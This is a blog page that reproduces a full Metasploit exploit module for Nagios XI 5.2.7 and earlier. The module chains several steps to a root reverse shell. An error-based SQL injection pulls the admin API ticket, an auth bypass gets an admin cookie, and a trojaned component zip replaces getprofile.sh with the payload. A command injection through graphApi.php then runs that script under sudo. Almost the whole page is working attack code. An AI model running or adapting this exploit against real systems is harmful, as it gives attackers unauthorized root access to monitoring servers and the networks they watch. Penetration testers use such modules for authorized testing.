Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86388754

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Nagios XI Chained Remote Code Execution',
      'Description'     => %q{
        This module exploits an SQL injection, auth bypass, file upload,
        command injection, and privilege escalation in Nagios XI <= 5.2.7
        to pop a root shell.
      },
      'Author'          => [
        'Francesco Oddo', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'      => [
        ['EDB', '39899']
      ],
      'DisclosureDate'  => 'Mar 6 2016',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'Privileged'      => true,
      'Payload'         => {
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'
        }
      },
      'Targets'         => [
        ['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]
      ],
      'DefaultTarget'   => 0,
      'DefaultOptions'  => {
        'PAYLOAD'       => 'cmd/unix/reverse_bash',
        'LHOST'         => Rex::Socket.source_address
      }
    ))
  end

  def check
    res = send_request_cgi!(
      'method' => 'GET',
      'uri'    => '/nagiosxi/'
    )

    return unless res && (html = res.get_html_document)

    if (version = html.at('//input[@name = "version"]/@value'))
      vprint_status("Nagios XI version: #{version}")
      if Gem::Version.new(version) <= target[:version]
        return CheckCode::Appears
      end
    end

    CheckCode::Safe
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
    end

    print_status('Getting API token')
    get_api_token
    print_status('Getting admin cookie')
    get_admin_cookie
    print_status('Getting monitored host')
    get_monitored_host

    print_status('Downloading component')
    download_profile_component
    print_status('Uploading root shell')
    upload_root_shell
    print_status('Popping shell!')
    pop_dat_shell
  end

  #
  # Cleanup methods
  #

  def on_new_session(session)
    super

    print_status('Cleaning up...')

    commands = [
      'rm -rf ../profile',
      'unzip -qd .. ../../../../tmp/component-profile.zip',
      'chown -R nagios:nagios ../profile',
      "rm -f ../../../../tmp/component-#{zip_filename}"
    ]

    commands.each do |command|
      vprint_status(command)
      session.shell_command_token(command)
    end
  end

  #
  # Exploit methods
  #

  def get_api_token
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/includes/components/nagiosim/nagiosim.php',
      'vars_get' => {
        'mode'   => 'resolve',
        'host'   => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
                    'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
                    '),FLOOR(RAND(0)*2))x ' \
                    'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
      }
    )

    if res && res.body =~ /Duplicate entry '(.*?).'/
      @api_token = $1
      vprint_good("API token: #{@api_token}")
    else
      fail_with(Failure::UnexpectedReply, 'API token not found! punt!')
    end
  end

  def get_admin_cookie
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/rr.php',
      'vars_get' => {
        'uid'    => "1-#{Rex::Text.rand_text_alpha(8)}-" +
                    Digest::MD5.hexdigest(@api_token)
      }
    )

    if res && (@admin_cookie = res.get_cookies.split('; ').last)
      vprint_good("Admin cookie: #{@admin_cookie}")
      get_csrf_token(res.body)
    else
      fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')
    end
  end

  def get_csrf_token(body)
    if body =~ /nsp_str = "(.*?)"/
      @csrf_token = $1
      vprint_good("CSRF token: #{@csrf_token}")
    else
      fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')
    end
  end

  def get_monitored_host
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/ajaxhelper.php',
      'cookie'   => @admin_cookie,
      'vars_get' => {
        'cmd'    => 'getxicoreajax',
        'opts'   => '{"func":"get_hoststatus_table"}',
        'nsp'    => @csrf_token
      }
    )

    return unless res && (html = res.get_html_document)

    if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))
      vprint_good("Monitored host: #{@monitored_host}")
    else
      fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')
    end
  end

  def download_profile_component
    res = send_request_cgi(
      'method'     => 'GET',
      'uri'        => '/nagiosxi/admin/components.php',
      'cookie'     => @admin_cookie,
      'vars_get'   => {
        'download' => 'profile'
      }
    )

    if res && res.body =~ /^PK\x03\x04/
      @profile_component = res.body
    else
      fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!')
    end
  end

  def upload_root_shell
    mime = Rex::MIME::Message.new
    mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"')
    mime.add_part('1', nil, nil, 'form-data; name="upload"')
    mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
    mime.add_part(payload_zip, 'application/zip', 'binary',
                  'form-data; name="uploadedfile"; ' \
                  "filename=\"#{zip_filename}\"")

    res = send_request_cgi!(
      'method' => 'POST',
      'uri'    => '/nagiosxi/admin/components.php',
      'cookie' => @admin_cookie,
      'ctype'  => "multipart/form-data; boundary=#{mime.bound}",
      'data'   => mime.to_s
    )

    if res && res.code != 200
      if res.redirect? && res.redirection.path == '/nagiosxi/install.php'
        vprint_warning('Nagios XI not configured')
      else
        fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')
      end
    end
  end

  def pop_dat_shell
    send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/includes/components/perfdata/graphApi.php',
      'cookie'   => @admin_cookie,
      'vars_get' => {
        'host'   => @monitored_host,
        'end'    => ';sudo ../profile/getprofile.sh #'
      }
    )
  end

  #
  # Support methods
  #

  def payload_zip
    zip = Rex::Zip::Archive.new

    Zip::File.open_buffer(@profile_component) do |z|
      z.each do |f|
        zip.entries << Rex::Zip::Entry.new(
          f.name,
          (if f.ftype == :file
            if f.name == 'profile/getprofile.sh'
              payload.encoded
            else
              z.read(f)
            end
          else
            ''
          end),
          Rex::Zip::CM_DEFLATE,
          nil,
          (Rex::Zip::EFA_ISDIR if f.ftype == :directory)
        )
      end
    end

    zip.pack
  end

  #
  # Utility methods
  #

  def zip_filename
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
  end

end